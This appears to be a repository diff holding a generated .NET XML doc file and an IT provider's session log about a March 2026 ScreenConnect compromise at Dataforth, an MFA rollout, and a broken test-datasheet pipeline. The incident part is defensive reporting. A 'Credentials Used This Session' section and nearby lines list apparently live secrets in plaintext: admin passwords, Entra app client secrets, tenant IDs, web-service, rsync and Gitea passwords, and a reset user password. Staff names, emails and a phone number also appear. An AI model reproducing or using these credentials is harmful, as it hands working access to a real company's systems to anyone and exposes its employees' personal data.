C:\Users\kennethhoffman\source\repos\dataforth-enterprise\TestDataSheetUploader\TestDataSheetUploader\obj\Release\TestDataSheetUploader.xml
|
||||
C:\Users\kennethhoffman\source\repos\dataforth-enterprise\TestDataSheetUploader\TestDataSheetUploader\obj\Release\TestDataSheetUploader.pdb
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,26 @@
|
||||
<?xml version="1.0"?>
|
||||
<doc>
|
||||
<assembly>
|
||||
<name>
|
||||
TestDataSheetUploader
|
||||
</name>
|
||||
</assembly>
|
||||
<members>
|
||||
<member name="T:TestDataSheetUploader.My.Resources.Resources">
|
||||
<summary>
|
||||
A strongly-typed resource class, for looking up localized strings, etc.
|
||||
</summary>
|
||||
</member>
|
||||
<member name="P:TestDataSheetUploader.My.Resources.Resources.ResourceManager">
|
||||
<summary>
|
||||
Returns the cached ResourceManager instance used by this class.
|
||||
</summary>
|
||||
</member>
|
||||
<member name="P:TestDataSheetUploader.My.Resources.Resources.Culture">
|
||||
<summary>
|
||||
Overrides the current thread's CurrentUICulture property for all
|
||||
resource lookups using this strongly typed resource class.
|
||||
</summary>
|
||||
</member>
|
||||
</members>
|
||||
</doc>
|
||||
@@ -0,0 +1,263 @@
|
||||
# Session Log: 2026-03-27 - Dataforth Security Incident, MFA Rollout, Test Datasheet Investigation
|
||||
|
||||
## Session Summary
|
||||
|
||||
Major incident response and security hardening session at Dataforth Corporation. Three concurrent workstreams:
|
||||
|
||||
1. **Security Incident** - Compromised workstation DF-JOEL2 via social engineering / ScreenConnect abuse
|
||||
2. **MFA Rollout** - Deployed Conditional Access policies for M365 tenant
|
||||
3. **Test Datasheet Pipeline** - Investigated broken datasheet export pipeline affecting customer shipments
|
||||
|
||||
---
|
||||
|
||||
## 1. Security Incident: DF-JOEL2 Compromise
|
||||
|
||||
### Timeline (March 27, 2026 MST)
|
||||
- 08:25 - Joel Lohr clicked phishing link in personal Yahoo/Comcast email (appeared to be from Arizona Technology Council)
|
||||
- 08:28 - ScreenConnect client installed from C:\Users\jlohr\Downloads\ScreenConnect.ClientSetup.msi
|
||||
- 08:29 - "Angel Raya" connected via ScreenConnect cloud relay (instance-wlb9ga-relay.screenconnect.com)
|
||||
- 08:29 - Attacker deployed two C2 backdoor ScreenConnect clients via PowerShell
|
||||
- 08:31 - Attacker downloaded Sordum "Hide From Uninstall List" tool
|
||||
- 08:32 - Tool used to hide rogue clients, "Angel Raya" disconnected
|
||||
- 11:55 - "Administrator" connected via 80.76.49.18 C2 backdoor
|
||||
- 12:40 - "Administrator" disconnected
|
||||
- ~13:00 - ACG discovered compromise during ScreenConnect session
|
||||
- 18:51 - Successful unauthorized M365 sign-in from Istanbul, Turkey
|
||||
|
||||
### Attacker Infrastructure
|
||||
- C2 Server 1: 80.76.49.18:8040/8041
|
||||
- C2 Server 2: 45.88.91.99:8040/8041
|
||||
- ASN: AS399486, Virtuo (12651980 CANADA INC.), Montreal QC
|
||||
- Abuse: abuses@virtuo.host, escalation: jordan@virtuo.host
|
||||
- ScreenConnect Cloud: instance-wlb9ga-relay.screenconnect.com
|
||||
- C2 client version: 25.2.4.9229 (binaries dated April 8, 2025)
|
||||
|
||||
### Rogue ScreenConnect Clients Found
|
||||
1. 0cad93610010625f - "Angel Raya" initial access (instance-wlb9ga cloud relay)
|
||||
2. 0dfe1abae029411c - C2 backdoor (80.76.49.18:8041)
|
||||
3. a897d9a21259d116 - C2 backdoor (45.88.91.99:8041)
|
||||
4. 1912bf3444b41a08 - LEGITIMATE (ACG, instance-kgc7jt)
|
||||
|
||||
### M365 Account Compromise
|
||||
Sustained brute-force against jlohr@dataforth.com for 7+ days:
|
||||
- Successful: Istanbul Turkey (91.93.232.236), Croydon UK (82.44.33.210), Germany (IPv6)
|
||||
- Blocked attempts from: Frankfurt DE (45.86.202.x), Luxembourg, Virginia Beach, Sioux Falls, Camden DE, Charleston WV
|
||||
- Tools used: Azure AD PowerShell, Azure CLI
|
||||
- MFA: Password + phone only (520-917-2241), no conditional access
|
||||
|
||||
### Remediation Actions Completed
|
||||
- [DONE] Both C2 IPs blocked at UDM firewall (iptables FORWARD + INPUT, all directions)
|
||||
- [DONE] Three rogue ScreenConnect clients uninstalled via WinRM
|
||||
- [DONE] HideUL tool deleted from C:\Users\Public\Pictures\Backup\
|
||||
- [DONE] Downloaded MSIs cleaned
|
||||
- [DONE] jlohr AD password reset to Dataforth2026! (force change at logon)
|
||||
- [DONE] Entra Connect delta sync forced
|
||||
- [DONE] M365 sessions revoked (twice)
|
||||
- [DONE] Network-wide scan: 32 machines clean, 28 unreachable (offline)
|
||||
- [DONE] UDM connection table scan: zero C2 traffic network-wide
|
||||
- [DONE] No malicious inbox rules, mail forwarding, or OAuth consents
|
||||
- [DONE] No rogue SSH keys on UDM
|
||||
|
||||
### Reports Filed
|
||||
- FBI IC3: Submission ID 1c32ade367084be9acd548f23705736f (filed 3/27/2026 5:11 PM EST)
|
||||
- Virtuo Hosting: abuses@virtuo.host - automated suspension of both IPs confirmed
|
||||
- ConnectWise: Case #03464184 (abuse@connectwise.com)
|
||||
|
||||
### Incident Notes File
|
||||
- PSA ticket notes: /tmp/dataforth-incident-psa-notes.txt
|
||||
- Virtuo abuse report: clients/dataforth/docs/incident-2026-03-27-abuse-report-virtuo.md
|
||||
- ConnectWise abuse report: clients/dataforth/docs/incident-2026-03-27-abuse-report-connectwise.md
|
||||
- IC3 complaint PDF: clients/dataforth/docs/IC3-Complaint-2026-03-27.pdf
|
||||
|
||||
---
|
||||
|
||||
## 2. MFA Rollout
|
||||
|
||||
### Conditional Access Policies Deployed (Report-Only Mode)
|
||||
|
||||
| Policy | ID | State |
|
||||
|--------|-----|-------|
|
||||
| ACG - Require MFA for All Users | dc920ee4-22e6-402b-b5e3-4f3662d26227 | Report-only |
|
||||
| ACG - Block Foreign Sign-Ins | 3405f7db-91b6-48da-b3fb-2e0ef1e44d17 | Report-only |
|
||||
| ACG - Block Legacy Authentication | 82ebbe3b-d151-4cb7-aff7-af893a4915e3 | Report-only |
|
||||
|
||||
### Named Locations
|
||||
- Dataforth Office - Tucson: 0a3e61d7-a544-4a47-961a-a98cd4804613 (67.206.163.122/32, trusted)
|
||||
- Allowed Countries - US Only: 12706cec-c91b-454e-a24d-c801284b79f7
|
||||
|
||||
### Security Groups
|
||||
- MFA-Excluded-BreakGlass: 75ac10ae-d49e-42b1-aa87-04908a983495
|
||||
- Members: Brian Faires, Dataforth Calibration, Dataforth Notifications, Endcap, Tablet 01
|
||||
- MFA-Travel-Bypass: 094b12c5-b39a-4287-943a-f1175ce61a6f
|
||||
- For users traveling internationally, excludes them from foreign sign-in block
|
||||
|
||||
### MFA policy behavior
|
||||
- From office (67.206.163.122): No MFA required
|
||||
- From elsewhere in US: MFA required
|
||||
- From outside US: Blocked (unless in MFA-Travel-Bypass group)
|
||||
- Legacy auth (IMAP/POP/old PowerShell): Blocked everywhere
|
||||
|
||||
### Enforcement deadline: April 4, 2026
|
||||
- MFA notice email sent to all 37 licensed users from sysadmin@dataforth.com via Graph API (draft-then-send method)
|
||||
- Enrollment status email sent to mike@azcomputerguru.com and ghaubner@dataforth.com
|
||||
|
||||
### MFA Enrollment Status (19 ready, 19 need setup)
|
||||
**Ready:** Ben Wadzinski, Bobbi Whitson, Dan Center, Georg Haubner (Authenticator), Jacque Antar, Jaime Becerra, Joel Lohr, John Lehman, Kellyn Wackerly, Kevin Wackerly, Lee Payne, Otto Fest (Windows Hello), Peter Iliya, Robert Koranek, Sandra Schock, Shipping, sysadmin (Authenticator), Theresa Dean, Yvonne Bejarano
|
||||
|
||||
**Need setup:** Andres Oliva-Martinez, Angel Lopez, Ayleen Montijo, Bernardo Laredo, Catalina Vanatta, Cesar Rivas, Chauncey Bell, Concepcion Hernandez, Cynthia Roedig, Elma Trujillo, Jason Yoder, Ken Hoffman, Linda Duarte, Logan Tobey, Lori Schlotterback, Manny Vargas, Martin Florez, Rosalinda Duarte, Thomas Nord
|
||||
|
||||
### Entra Cleanup
|
||||
- 38 test station accounts (TS-*) deleted from Entra (were stale synced objects from CompanyUsers OU no longer in sync scope)
|
||||
- bfaires@dataforth.com: AD account disabled, M365 still enabled, mailbox converted to shared (5,711 messages preserved)
|
||||
|
||||
### Dataforth M365 Licenses
|
||||
- 50x M365 Business Premium (39 used) - includes Entra ID P1
|
||||
- 19x Exchange Online Plan 1 (5 used)
|
||||
- 5x SPB (4 used)
|
||||
|
||||
---
|
||||
|
||||
## 3. Test Datasheet Pipeline Investigation
|
||||
|
||||
### Background
|
||||
Customer Quatronix (China) refusing shipments of 54+ modules without test datasheets. Originally 328 missing, whittled to 54 by Peter Iliya manually finding some.
|
||||
|
||||
### Pipeline Architecture
|
||||
```
|
||||
DOS Test Machine (TS-XX) -> QuickBASIC test program
|
||||
-> Generates H-prefix TXT file (H=17 decode: A=10,B=11...H=17,I=18,J=19)
|
||||
-> Writes to T:\ (mapped to \\D2TESTNAS\TEST)
|
||||
-> Syncs to AD2 C:\Shares\test\ (Sync-FromNAS task, every 15 min, WORKING)
|
||||
-> TestDataDB import.js ingests DAT files into SQLite database (WORKING)
|
||||
-> DFWDS.exe should process and move to WebShare (BROKEN - third party, Hoffman)
|
||||
-> TestDataSheetUploader should sync WebShare to website (BROKEN - not running since 2022)
|
||||
-> Customer downloads from www.dataforth.com
|
||||
```
|
||||
|
||||
### Current State
|
||||
- Sync-FromNAS: RUNNING (last ran 5:00 PM today, every 15 min)
|
||||
- TestDataDB service: RUNNING (Windows service, auto-start, 2.27M records)
|
||||
- TestDataDB API: http://192.168.0.6:3000 (Express.js, SQLite, better-sqlite3)
|
||||
- DFWDS.exe: NOT RUNNING (VB6 program on AD2, third-party dev Hoffman unresponsive)
|
||||
- TestDataSheetUploader: NOT RUNNING (last used Nov 2022, config points to Hoffman's local path)
|
||||
- datasheet_exported_at: NULL for ALL records - export has never run
|
||||
|
||||
### Key Finding
|
||||
Of the missing Quatronix serials checked, **22 out of 22 that responded are IN the database** with test data. Zero actually missing. The data exists but has never been exported as datasheet files.
|
||||
|
||||
### TestDataSheetUploader Details (found in Test Datasheets folder)
|
||||
- VB.NET console app, .NET Framework 4.7.2
|
||||
- Services: https://www.dataforth.com/Services/{Uploader,DirectoryManifest,DeleteFile}.aspx
|
||||
- Auth: DataforthWebShare / Data6277
|
||||
- Server-side path: C:\inetpub\wwwroot\dataforth.com\WebShare\ProcessCheckOutTestFolder\
|
||||
- Config: C:\Users\hoffm\Documents\Customer Folders\Dataforth\product lists (Hoffman's old path)
|
||||
|
||||
### WebShare on AD2
|
||||
- Share: \\AD2\webshare -> C:\Shares\webshare
|
||||
- DFWDS config expects: X:\webshare\Test_Datasheets, X:\webshare\For_Web, X:\webshare\Bad_Datasheets
|
||||
- DFWDS/Test Files/Original/Test_Datasheets: 2,457 existing datasheets
|
||||
|
||||
### H-prefix decode table
|
||||
A=10, B=11, C=12, D=13, E=14, F=15, G=16, H=17, I=18, J=19
|
||||
Example: H8601-6.TXT -> 178601-6.TXT
|
||||
|
||||
### Next Steps for Datasheets
|
||||
- Need to build export mechanism to generate TXT datasheets from database records
|
||||
- TXT format matches the H8601-6.TXT sample (standard Dataforth test data sheet format)
|
||||
- Files need to land in C:\Shares\webshare\Test_Datasheets on AD2
|
||||
- Then need mechanism to get them to the website (either fix TestDataSheetUploader or replace it)
|
||||
|
||||
---
|
||||
|
||||
## 4. Other Work
|
||||
|
||||
### UDM Firewall Access
|
||||
- Generated SSH key: ~/.ssh/id_ed25519_udm
|
||||
- Public key added to UDM root authorized_keys
|
||||
- UDM IPs: 192.168.0.254 (also responds on 192.168.0.1, same MAC d0:21:f9:6c:11:02)
|
||||
|
||||
### Network Investigation (Internet/Phone Outage Report)
|
||||
- All infrastructure reachable: UDM, AD1, AD2, D2TESTNAS
|
||||
- Internet working from NAS (8.8.8.8, google.com)
|
||||
- DNS working on all DCs and UDM
|
||||
- ISP: fdtnet.net, Dataforth public IP: 67.206.163.122
|
||||
- Issue was likely localized to specific machines or resolved itself
|
||||
|
||||
### AD1 Claude Instance README
|
||||
- Created: clients/dataforth/dos-test-machines/Test Datasheets/README.md
|
||||
- Contains Gitea credentials, network context, investigation steps for AD1 instance
|
||||
|
||||
---
|
||||
|
||||
## Credentials Used This Session
|
||||
|
||||
### Dataforth Network
|
||||
- AD1 (192.168.0.27): INTRANET\sysadmin / Paper123!@#
|
||||
- AD2 (192.168.0.6): INTRANET\sysadmin / Paper123!@#
|
||||
- D2TESTNAS (192.168.0.9): root / SSH key (~/.ssh/id_ed25519 default)
|
||||
- UDM (192.168.0.254): root / SSH key (~/.ssh/id_ed25519_udm)
|
||||
|
||||
### Dataforth M365
|
||||
- Tenant ID: 7dfa3ce8-c496-4b51-ab8d-bd3dcd78b584
|
||||
- Admin: sysadmin@dataforth.com / Paper123!@# (synced with AD)
|
||||
- Entra App (Claude-Code-M365): App ID 7a8c0b2e-57fb-4d79-9b5a-4b88d21b1f29 / Secret tXo8Q~ZNG9zoBpbK9HwJTkzx.YEigZ9AynoSrca3
|
||||
|
||||
### MSP Multi-Tenant App (Claude-MSP-Access)
|
||||
- MSP Tenant: ce61461e-81a0-4c84-bb4a-7b354a9a356d
|
||||
- App ID: fabb3421-8b34-484b-bc17-e46de9703418
|
||||
- Client Secret: ~QJ8Q~NyQSs4OcGqHZyPrA2CVnq9KBfKiimntbMO
|
||||
- Permissions granted for Dataforth tenant: CA policies, mail, users, auth methods, security events
|
||||
|
||||
### TestDataSheetUploader Web Services
|
||||
- URL: https://www.dataforth.com/Services/{Uploader,DirectoryManifest,DeleteFile}.aspx
|
||||
- Auth: DataforthWebShare / Data6277
|
||||
|
||||
### Rsync (Sync-FromNAS on AD2)
|
||||
- NAS rsync user: rsync / IQ203s32119
|
||||
- Module: test (maps to /data/test on NAS)
|
||||
|
||||
### Gitea
|
||||
- URL: https://git.azcomputerguru.com
|
||||
- User: mike@azcomputerguru.com
|
||||
- Password: Gptf*77ttb123!@#-git
|
||||
|
||||
### WinRM Python Environment
|
||||
- /tmp/winrm-env/bin/python3 (pywinrm, msal, requests installed)
|
||||
|
||||
---
|
||||
|
||||
## Outstanding / Incomplete
|
||||
|
||||
### Security
|
||||
- [ ] 28 machines unreachable during ScreenConnect scan - check when online
|
||||
- [ ] Joel should reset Yahoo/Comcast personal email password
|
||||
- [ ] Check Chrome saved passwords on DF-JOEL2 (may have been exported by attacker)
|
||||
- [ ] Fix Windows Defender on DF-JOEL2 (error 0x800106ba, McAfee conflict)
|
||||
- [ ] Add C2 IPs to UDM permanent block list via UniFi UI (iptables rules don't survive reboot)
|
||||
- [ ] Monitor ConnectWise case 03464184 for Angel Raya identity
|
||||
- [ ] Consider disabling jlohr account entirely (retiring March 31)
|
||||
- [ ] Original phishing email never found (sent to personal Yahoo, Joel can't locate it)
|
||||
|
||||
### MFA
|
||||
- [ ] April 4: Switch all 3 CA policies from report-only to enabled
|
||||
- [ ] 19 users still need to register MFA
|
||||
- [ ] Delete orphan scheduled tasks on AD2: TestDataDB Server, TestDataDB_NodeServer
|
||||
- [ ] Clean up remaining unlicensed enabled accounts in Entra (former employees)
|
||||
|
||||
### Test Datasheets
|
||||
- [ ] Build datasheet export mechanism from TestDataDB to WebShare
|
||||
- [ ] Either fix TestDataSheetUploader or build replacement for WebShare -> website upload
|
||||
- [ ] Resolve 54 missing datasheets for Quatronix customer (data IS in DB, needs export)
|
||||
- [ ] Contact Hoffman about DFWDS.exe status (third party, unresponsive)
|
||||
|
||||
---
|
||||
|
||||
## Files Created/Modified This Session
|
||||
- clients/dataforth/dos-test-machines/Test Datasheets/README.md (AD1 Claude instance context)
|
||||
- clients/dataforth/docs/incident-2026-03-27-abuse-report-virtuo.md
|
||||
- clients/dataforth/docs/incident-2026-03-27-abuse-report-connectwise.md
|
||||
- clients/dataforth/docs/IC3-Complaint-2026-03-27.pdf
|
||||
- /tmp/dataforth-incident-psa-notes.txt (PSA ticket notes)
|
||||
- /tmp/dataforth-mfa-notice.txt (MFA user communication)
|
||||
- /tmp/ic3-technical-details.txt (IC3 technical details)
|
||||
- ~/.ssh/id_ed25519_udm (SSH key for UDM access)
|
||||
Reference in New Issue
Block a user